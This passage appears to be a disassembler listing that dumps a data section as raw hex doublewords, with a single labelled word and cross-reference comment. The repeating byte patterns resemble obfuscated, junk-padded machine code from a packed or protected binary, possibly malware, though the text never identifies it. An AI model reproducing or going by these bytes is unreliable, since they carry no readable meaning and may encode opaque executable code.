		dd 5EAA646h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	0EFC35242h, 10EA88A4h, 1ABD95FFh, 6A05E7h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0A48C34C3h, 0EB5D0F17h, 2800Fh, 0DE8B0000h, 6A965096h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 41C8C350h, 52E699DBh, 62F1EF81h, 0FF5F0C54h
		dd 0EAA646B5h, 11B58905h, 0FF05E72Dh, 0E7077995h, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 9D13F062h, 0D99D8BFFh, 8305E709h, 0E72D0DBDh, 840F0005h
		dd 35h,	9FA8B66h, 0E708F9BDh, 870F5005h, 2, 3489DA8Bh
		dd 56006A24h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 0AE2369A3h, 46B5FFB8h, 0F05EAA6h, 680h
		dd 0E5BD8900h
		db 12h,	0E7h
word_584F4E	dw 6605h		; DATA XREF: ___:00436804o
		dd 2B70E781h, 243595FFh, 9D8B05E7h, 5E70019h, 0A646B5FFh
		dd 10E905EAh, 0A8000000h, 0D001F686h, 7628EDEDh, 2346A49Dh
		dd 0FFE168DDh, 0E7076D95h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 1880F12h, 0FC000000h
		dd 2D85BD83h, 0F0205E7h, 9084h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 85858B17h
		dd 6A05E711h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0C17AC356h, 0DB6259A6h, 0E8727DE0h
		dd 13h,	78E60903h, 0DC67D2A6h, 28BD378Eh, 74FB3B66h, 600DF6BAh
		dd 1F99BD29h, 5F6105E7h, 6A0000C6h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0BBA5C352h
		dd 81665657h, 5FFC7CC7h, 1985C75Bh, 5E723h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0E3F0C357h, 0A8978032h, 601D55B2h, 118D8B60h
		dd 6105E713h, 0AFD9589h, 0E96105E7h, 0FFFFF315h, 0A219501h
		dd 0C18B05E7h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	3EC35242h, 6199DC48h, 349FD76Eh, 89DBB70Fh, 0E70139B5h
		dd 95858D05h, 0BB05E713h, 67B629A7h, 24048950h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 3AC35747h, 717948B1h
		dd 892E7DE4h, 0E700098Dh, 6A006A05h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 7B7CC352h
		dd 0AC07ACD1h, 9D8B4BDDh, 5E70455h, 6A006Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0F4AE47C3h
		dd 762F567Eh, 8954A55Ah, 0E71D4985h, 8DF88B05h,	0EB66D485h
		dd 5C08305h, 26FDBD89h,	858905E7h, 5E717C5h, 0C2BB5650h
		dd 5F6C1E6Ch, 6A240489h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 0AF4BC353h,	6A006A82h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 6D9AC357h, 0F804732Eh, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 66E5F3C3h
		dd 0E2D2E381h, 1A4D95FFh, 8D0905E7h, 5E72CE1h, 0A4AA8D8Dh
		dd 6A05EAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 153BA8C3h, 6AD1FFh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 4962CC3h, 0D33FCF03h
		dd 498D89A8h, 8305E70Ch, 0E72B8DBDh, 850F0105h,	41h, 8E0Fh
		dd 26A0000h, 0C7FFBB66h, 89FC8A50h, 0BF52404h, 0E72515BDh
		dd 0BD95FF05h, 6A05E71Ah, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 3302C355h, 5DF8166h
		dd 0DC5E970h, 0E80000h,	5D000000h, 66DEED81h, 6A05EBh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 9F6096C3h, 9D8BFCC7h, 5E71561h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 67C35242h, 977E97A6h, 12E98B86h
		dd 3C000000h, 9A71578Eh, 0CC82443Eh, 0AABB58FDh, 361D6B6Ah
		dd 0FD858DD0h, 0E905EA90h, 0Fh,	73B021Bh, 3F83F5B5h, 125BE367h
		dd 891BD834h, 0E71525BDh, 0FB8B5005h, 8B240489h, 0E70349BDh
		dd 35FF6405h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0E9C35747h
		dd 0DBB70F15h, 258964F8h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0FDC35545h
		dd 268658B2h, 940DE7D2h, 0FFFB8B66h, 0E714FD85h, 0DE905h
		dd 82010000h, 99C63DE7h, 0CD00F1DBh, 6AD28ED1h,	0C5DF81FFh
		dd 0FF311AC1h, 0E7015DB5h, 0DF8B6605h, 45195FFh, 31E905E7h
		dd 29000001h, 0E7082D95h, 0E800B005h, 5, 92983D99h, 0E65BF912h
		dd 0EDBB6670h, 0F71E4D9h, 613CFAB7h, 10A830Fh, 81660000h
		dd 0F729DDFh, 5060C8B6h, 820Fh,	95E0000h, 0E71CB9B5h, 6BA6105h
		dd 29000000h, 0E704899Dh, 8BC18B05h, 0E72F09BDh, 3DB58905h
		dd 0C105E70Ah, 9D2304E8h, 5E72CF5h, 56E2F766h, 0F5F5260h
		dd 81h,	0B5B6100h, 0E7197D9Dh, 66C82B05h, 0D18BF98Bh, 2EA9BD03h
		dd 3E905E7h, 80000000h,	858BBFC7h, 5E70C51h, 0B99D23h
		dd 0C08305E7h, 83FA8B07h, 0BF6600C0h, 840F3B27h, 6, 15E59D8Bh
		dd 0D03B05E7h, 1B830Fh,	0F520000h, 68Ch, 598D2900h, 5F05E71Dh
		dd 67E9h, 0DB816600h, 8B6630E5h, 0AD8D8BD9h, 0F05E706h
		dd 881h, 0DF815100h, 548AD7F4h,	1E1835Bh, 42840Fh, 0E8600000h
		dd 13h,	726ABB18h, 0A6C51888h, 52EEA4C5h, 0B22C2731h, 5F4B59F1h
		dd 32E19589h, 836105E7h, 0E706ADA5h, 8166FE05h,	8BA1A2F3h
		dd 0E71595BDh, 51958905h, 6605E70Ch, 0E966E4BBh, 0
		dd 0E3EAB58Dh, 6A05EAh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0D88BB9C3h, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 4443E4C3h
		dd 61DBBF1h, 8CEF8023h,	9E8h, 66333700h, 0A030AC0Ch, 9D3132D0h
		dd 5E71CB1h, 0C195FF5Bh, 0F05E721h, 3BB9FBBFh, 81000008h
		dd 0AB0A43C3h, 0FCE18337h, 21499D31h, 0FFC05E7h, 38Dh
		dd 0D88B6600h, 9D8BC02Bh, 5E706A1h, 0BAh, 8B665100h, 33AD5BFEh
		dd 3E8D1C2h, 4E983D0h, 0F52F475h, 108Ah, 0BE900h, 0C1170000h
		dd 42DC7B59h, 0FAA1728Dh, 0BD295B69h, 5E721FDh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 8FC35242h, 0B6536CAEh
		dd 0AE88Dh, 0CCAF0000h,	2B7B8EF8h, 45CA1387h, 11E8h, 0CC1D7900h
		dd 7C3C9B46h, 0AD605496h, 84E62DA5h, 0B70F430Dh, 0D5B5FF8h
		dd 88h,	14E9h, 0AB618C00h, 52D72Bh, 0D786BBA4h,	0FD9A3647h
		dd 64D10306h, 0A9958BE3h, 6A05E71Ah, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0A427C350h
		dd 9D8589h, 8D8B05E7h, 5E72A4Dh, 0E850006Ah, 3,	58C35820h
		dd 4244489h, 4244481h, 18h, 1EC35040h, 0F6C6507Dh, 9CD9589h
		dd 8B5005E7h, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 86C35646h
		dd 97064928h, 3D68F9DEh, 0C599D8Bh, 8B6605E7h, 0FDBD8BFBh
		dd 8305E717h, 0E71865BDh, 840F0005h, 80h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 15h, 9FC35545h, 0F381666Ch
		dd 0B8C7F8h, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0A7B7C353h,	6AFCF73h
		dd 4D248D8Dh, 6A05E7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 0BD2366C3h, 761E017Ch, 0B56021FBh
		dd 88F480E4h, 0BFE1FF61h, 2B766327h, 2739BD83h,	0F0005E7h
		dd 3B984h, 0A9C38100h, 662B59A4h, 0BD83F88Bh, 5E72739h
		dd 0BE840F01h, 6A000003h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0E1C9C350h,	9DAEEE08h
		dd 8166512Ch, 5F0146CFh, 1840F60h, 0F5000000h, 1849B58Bh
		dd 836105E7h, 0E72739BDh, 860F0305h, 343h, 2A459D8Bh, 9D8B05E7h
		dd 5E70A71h, 99D8960h, 6605E72Dh, 6AD98Ch, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0FF929C3h
		dd 988h, 38F0F00h, 66000000h, 0E180FE8Bh, 8BFC8A04h, 0FC90AF8h
		dd 0B684h, 0FE900h, 0A110000h, 0E8A1D0C5h, 279B9F84h, 0CB144866h
		dd 99858BE8h, 3305E706h, 0E7130985h, 90D88B05h,	13E8h
		dd 475C2000h, 5F7D87E5h, 2F02C7A5h, 48AA162h, 89C96287h
		dd 10E85250h, 0C5000000h, 0FF8EB447h, 269908Eh,	74895F71h
		dd 5F988D60h, 0BF66310Fh, 585A3418h, 0D88B505Fh, 8B006A90h
		dd 0E732CDBDh, 42006805h, 54BB026Ah, 812E0BCAh,	41FF2434h
		dd 9D8B0275h, 5E727C5h,	1B7195FFh, 0BB6605E7h, 858991A5h
		dd 5EAA646h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	68C35747h, 56D0046Dh, 0E8E9F959h, 8B000001h, 0EAA63E85h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 0C703B0h, 18h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 9C35545h, 907665A7h, 0A642B58Bh
		dd 6A05EAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 0A8D5C3h,	11818D89h, 0E38005E7h, 89858B00h
		dd 6A05E732h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 8B14C355h, 0FCE1F583h,	8B071234h
		dd 0E71981BDh, 1068905h, 0E705EDB5h, 99858B05h,	0F05E706h
		dd 4689DABFh, 519D8B04h, 9605E71Ah, 1A587EBFh, 0E4BB5030h
		dd 9628EC9Eh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 14h,	0BCC35545h, 0FF8ACB80h,	0EAA63EB5h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 80C8B959h, 8531204Dh, 5E71825h, 20F1BD8Bh, 0C78105E7h
		dd 42F57F68h, 4E8h, 1F03FF00h, 60605200h, 505B6161h, 8BFA8B66h
		dd 0BB042444h, 3819A5Eh, 0DE8B008Bh, 4244489h, 0CE8h, 0CCAEAF00h
		dd 6472CE29h, 8E1C98Ah,	0CCB060EEh, 5F616160h, 57006A58h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 25A6A51Ch, 0E91BF726h, 5E925h, 0ACC10000h, 8D8F3497h
		dd 0EAA64685h, 17CF8005h, 9E850h, 942E0000h, 283793h, 66BCA79Ah
		dd 895FDA8Bh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 7DBFFBC3h, 55BBC47h, 0BD8BEB8Dh
		dd 5E70639h, 1B7195FFh,	800F05E7h, 0
		dd 615FF956h, 0C7D9BF0Fh, 0E7273985h, 305h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 0DCDB819Bh, 8313C261h, 0EAA646BDh, 840F0005h, 17h, 0BE9FDB7h
		dd 0E6000000h, 0E0E596FFh, 4E186BE7h, 1BE9087Ch, 50000000h
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
		dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
		dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
		dd 0B589C08Bh, 5E72179h, 6AC6BB66h, 2739BD83h, 0F0305E7h
		dd 4FA85h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1604h, 0C3504000h, 83F0B132h, 0EAA646BDh, 840F0005h
		dd 4CFh, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 17h,	0CEC35747h, 81147CDAh, 66FA9CEBh, 46B5FF04h, 6A05EAA6h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 0BF1BC350h, 18830Fh, 13E90000h, 55000000h
		dd 9A30E6D1h, 153276B7h, 0A3D8AC74h, 7B70FCBDh,	95FFABA5h
		dd 5E70219h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	0D2C35545h, 71F4976Ch, 5D557219h, 59BD8B69h, 8B05E716h
		dd 0E72E89BDh, 3AB58B05h, 0F05EAA6h, 687h, 29852900h, 0C705E704h
		dd 1000106h, 8B669600h,	880F50DFh, 2, 6A962AB7h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0BC33C350h, 0E1A83C07h, 0B5FF80B9h, 5EAA646h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 3DC35646h, 13358D89h
		dd 95FF05E7h, 5E70031h,	14E960h, 0A5CB0000h, 539721BBh
		dd 1C870B3h, 0FE5374B2h, 14D3AB09h, 61F9A714h, 0A63AB58Bh
		dd 6A05EAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 796A90C3h, 77BAD763h, 0FD9A4AEh, 687h, 0BF665200h
		dd 0F5F82C0h, 0C87h, 6800F00h, 8B000000h, 0E720C5BDh, 7D858B05h
		dd 6A05E718h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0B4BFC350h, 0FE42026h,	585h, 0C3805000h
		dd 0B70F5B15h, 0C48689FAh, 6A000000h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 3299C351h
		dd 724ED64Eh, 0E4044E4h, 0C14343BBh, 0EE955h, 7C2C0000h
		dd 3ECDC766h, 0C521D995h, 0B9001DE5h, 1AA9958Bh, 6A05E7h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 2CB680C3h, 1FE67653h, 8B72DAFCh, 0E71FFDBDh,	4C28305h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 97C35141h
		dd 0FD928577h, 28A0F4Eh, 69BF6694h, 1476BF2Dh, 5089311Ch
		dd 7E920h, 0DD550000h, 0AC225BAh, 0C3858DA8h, 0E805EABAh
		dd 5, 6B750430h, 6840FD6h, 0F000000h, 83h, 86895B00h, 0B8h
		dd 38C38166h, 0E9006A2Fh, 10h, 30EFDA33h, 1837832Dh, 315FB7Ah
		dd 0CF39A92Eh, 5840Fh, 81660000h, 0FF4694D7h, 0EAA646B5h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 6699030Eh, 8B1D7BBFh, 0E71B59BDh, 0BD95FF05h
		dd 8105E71Ah, 0ADC92ACBh, 0E860960Ch, 5, 0FA97C200h, 6E98Fh
		dd 83B60000h, 7A775676h, 0BF665259h, 615E3967h,	8B666050h
		dd 618EB5C3h, 0DF8B6696h, 0A646B5FFh, 6A05EAh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 51CE46C3h, 0C9EF295Fh, 598D895Ch, 0FF05E715h, 0E7077995h
		dd 0D59D2905h, 8305E712h, 0E72D0DBDh, 840F0005h, 5Fh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0E3C35040h, 7194C50h
		dd 8C9BD8Bh, 9D8B05E7h,	5E703BDh, 0EE96096h, 0C9000000h
		dd 0AF911706h, 0AF008368h, 95E0C321h, 5820FEBh,	0BF000000h
		dd 77B84044h, 66605061h, 9661D88Bh, 0F08B6660h,	6DBD8B61h
		dd 0FF05E71Ah, 0EAA646B5h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0B70F8232h
		dd 259589DBh, 0FF05E71Ah, 0E7243595h, 51006A05h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
		dd 0BD0B3D83h, 5E71739h, 19D8D09h, 0B5FF05E7h, 5EAA646h
		dd 14EDBD89h, 95FF05E7h, 5E7076Dh, 16998589h, 9D8B05E7h
		dd 5E72375h, 2D85BD83h,	0F0205E7h, 8884h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
		dd 72E3B0A3h, 0D8B81727h, 858BBE1Fh, 5E71185h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0E7C35040h, 78F0F4Ch
		dd 0F000000h, 184h, 0DF80FC00h,	0C6F2h,	0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Ah, 51C35747h, 0FB4F9DE3h
		dd 9532EE8h, 0E722E585h, 8B665B05h, 1985C7DEh, 5E723h
		dd 0E9000000h, 0FFFFF34Bh, 3800Fh, 0C3800000h, 8DC18B97h
		dd 0E7139585h, 159D8B05h, 5005E701h, 5830Fh, 0A5BB0000h
		dd 89126115h, 0B5892404h, 5E7135Dh, 6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0AFA4E4C3h
		dd 9661B145h, 6A93E780h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 47968122h, 0D0F7A54Fh
		dd 0BD8960C3h, 5E72209h, 2B258533h, 8D6105E7h, 0EB76EA85h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 4D811B8Fh, 83DF8B17h, 6A05C0h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0A35ADCC3h
		dd 5A01A0C7h, 8BE3A356h, 37BB50F9h, 893E0A91h, 0BF522404h
		dd 20067CDh, 499D8B5Bh,	6A05E718h, 0CE900h, 0C1F40000h
		dd 0EFCCD418h, 0B4C04852h, 6A0F41h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 3BC35040h, 53A66BA5h, 9A70F510h
		dd 0DE8h, 0BF7F5C00h, 0B0EA28D1h, 2382A580h, 0BD29A2B9h
		dd 5E705EDh, 4D95FF5Fh,	6A05E71Ah, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 2FC4C351h
		dd 195556B4h, 8FD88160h, 0F1FD669h, 8B61FFBFh, 0E729D99Dh
		dd 0AA8D8D05h, 6605EAA4h, 0FFCA7EBFh, 55006AD1h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
		dd 0BD835C8Ah, 5E72B8Dh, 0A8850F01h, 6A000000h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0C2BCC351h, 0DF979DFBh, 6A026AEDh, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 9049C353h
		dd 6650F88Bh, 9000DCBBh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 18h, 0DEC35545h, 6F19A4EEh, 9D950360h, 8905E728h
		dd 0E73271B5h, 95FF6105h, 5E71ABDh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h
		dd 17h,	0AEC35646h, 89EDF0BCh, 0E70199B5h, 99BD8905h, 0E905E724h
		dd 0D3Eh, 0E8h,	0ED815D00h, 5EB76F4h, 6AFB8Bh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 6A71C7C3h, 90FD858Dh, 6A05EAh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 0D8088C3h, 0F3771587h
		dd 5076F380h, 0FE8h, 760A7800h,	695CC20Fh, 0FD544916h
		dd 0C7382E90h, 5FD88B66h, 6A240489h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0A417C350h
		dd 27E9BD03h, 0FF6405E7h, 35h, 0BD9D8B00h, 6405E716h, 2589h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 0AAA0CAC3h, 2F099D03h, 85FF05E7h,	5E714FDh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 4CC35242h
		dd 9D8BFF6Ah, 5E725DDh,	2EE9BD89h, 0B5FF05E7h, 5E70091h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0A7C35646h
		dd 0B91D149Ah, 13CDBD8Bh, 315105E7h, 0E72AD58Dh, 95FF5B05h
		dd 5E70451h, 171E9h, 0B0D98B00h, 458D8900h, 0E605E70Ah
		dd 19BD8970h, 0F805E718h, 3CF871E4h, 53830F61h,	0E8000001h
		dd 11h,	9E612909h, 7C44A0E4h, 9189E25Eh, 90CDD929h, 0FE8B669Eh
		dd 0C8B60F5Bh, 20B18531h, 6BA05E7h, 8B000000h, 0E72EF99Dh
		dd 8BC18B05h, 0E7159DBDh, 4E8C105h, 208CE381h, 0F7661280h
		dd 11B589E2h, 6605E71Dh, 2F22F381h, 0E780C82Bh,	0E9D18BCFh
		dd 5, 837D637Fh, 3E947h, 0B70F0000h, 99858BDFh,	0F505E703h
		dd 0E807C083h, 0Fh, 0AE1985CCh,	18160696h, 959BE513h, 0F892C74h
		dd 687h, 7DBD8900h, 5B05E723h, 0F00C083h, 682h,	65850100h
		dd 6605E707h, 3B2C68BBh, 0C830FD0h, 8A000000h, 0A0E9FAh
		dd 81660000h, 8BB8FAD7h, 0E707958Dh, 1E820F05h,	60000000h
		dd 11E9h, 57718A00h, 0CA9E4FFAh, 69AE62h, 6785FA15h, 8D8944C9h
		dd 5E72569h, 0E1953161h, 8305E714h, 840F01E1h, 62h, 328DBD8Bh
		dd 0A58305E7h, 5E70795h, 0DE8FEh, 0FDFC0000h, 50184D88h
		dd 0F6DB88ABh, 0E9F35C0Ch, 9, 93FB78C1h, 6A74AB0Ch, 95895FF5h
		dd 5E70399h, 10E8h, 0F45E7600h,	3793942Eh, 0A79A0028h
		dd 0AE093BBCh, 0EE906h,	9ABD0000h, 6CC2FFB2h, 0EF33EEA7h
		dd 6E069E33h, 0E95Bh, 0B58D0000h, 5EAEDFFh, 469B509h, 0BD8B05E7h
		dd 5E72C79h, 8FBB006Ah,	0FF4490B3h, 0E721C195h,	4D958905h
		dd 0B905E721h, 8CBh, 0BA9BD8Bh,	0E18305E7h, 56006AFCh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 7FB5B131h, 0FC39D1DEh, 279DBD0Bh, 0C02B05E7h, 0BAFCh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0CFFE21C3h, 0BD097B00h, 5E7329Dh,	0ADF98B66h
		dd 0E8D1C233h, 0E983D003h, 66F47504h, 6ACD89BBh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 2345C352h, 20ADB589h, 880D05E7h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 472EC355h, 0DD9E997h, 95E6CBFh, 0C9952948h, 8B05E715h
		dd 0E71AA995h, 719D0905h, 8B05E716h, 0E72A4D8Dh, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 0F580C20Bh, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 6A5818h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 23ADFEC3h, 8D41C2D2h, 0A58D89EFh,	6A05E72Eh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 288AC355h, 32BB1CFDh, 8364BA68h, 0E71865BDh
		dd 840F0005h, 43h, 7E1B589h, 0B805E7h, 81000000h, 3DB2F6DFh
		dd 248D8D72h, 6A05E74Dh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 7A95C357h, 82E10356h
		dd 0DA105207h, 9604BF66h, 83F5E1FFh, 0E72739BDh, 840F0005h
		dd 48Ch, 6E9h, 0DDDB0500h, 83C44E90h, 0E72739BDh, 840F0105h
		dd 48Fh, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 17h,	4BC35040h, 0BFD5553Ah, 13AB7A3Eh, 0A219D31h, 0BD8305E7h
		dd 5E72739h, 22860F03h,	66000004h, 0AB8AE781h, 0E1BD8B60h
		dd 6605E717h, 8166D98Ch, 80CFC8EFh, 9D0104E1h, 5E709FDh
		dd 23299589h, 0C90A05E7h, 151840Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 0E6052AC3h
		dd 5B5296Ch, 8B05E72Dh,	0E7069985h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 66BBB462h
		dd 8589D88Bh, 5E71BCDh,	13098533h, 6A05E7h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 83E48FC3h
		dd 1468CADCh, 0F85FBCABh, 51525090h, 864658BBh,	310F5B46h
		dd 5050585Ah, 0BB525052h, 0CCE6B15h, 0BB66310Fh, 585A0C12h
		dd 0ACBB310Fh, 5A72A1DAh, 7E99058h, 3B000000h, 845F16F7h
		dd 6ACCF4h, 1A3D9D31h, 736805E7h, 0E8781D93h, 14h, 25A11716h
		dd 96C72967h, 0E8A0187Dh, 298EF69Dh, 3B62F988h,	2434815Bh
		dd 7802908Ch, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Bh,	0FEC35747h, 53C9BC9Dh, 0F24337Dh, 8B51DBBFh, 0E7048DBDh
		dd 95FF5F05h, 5E71B71h,	89F98B66h, 0EAA64685h, 0BCBB6605h
		dd 23DE912h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 4D0F87C3h, 7C31D9C5h, 959D8B35h
		dd 8B05E704h, 0EAA63E85h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0C7E30EEEh
		dd 1800h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 42B58B9Ah, 6A05EAA6h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 1419C350h
		dd 858B64EAh, 5E73289h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 3EC35040h, 8B28C903h,	0E71679BDh, 699D2305h
		dd 8905E716h, 81BD8B06h, 8B05E72Eh, 0E7069985h,	4689FC05h
		dd 55006A04h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 804201F8h, 3A3F2007h, 7E8DDD1h, 11000000h
		dd 8955782h, 0FE90142h,	61000000h, 24C83D49h, 755FC10h
		dd 0F471E9BFh, 805BB6BBh, 9589FECBh, 5E70839h, 0FE8B6650h
		dd 6A243489h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 6BD8C352h, 0B9B5292Bh,	0FF05E721h
		dd 0EAA63EB5h, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0E58669ACh, 28FAA690h
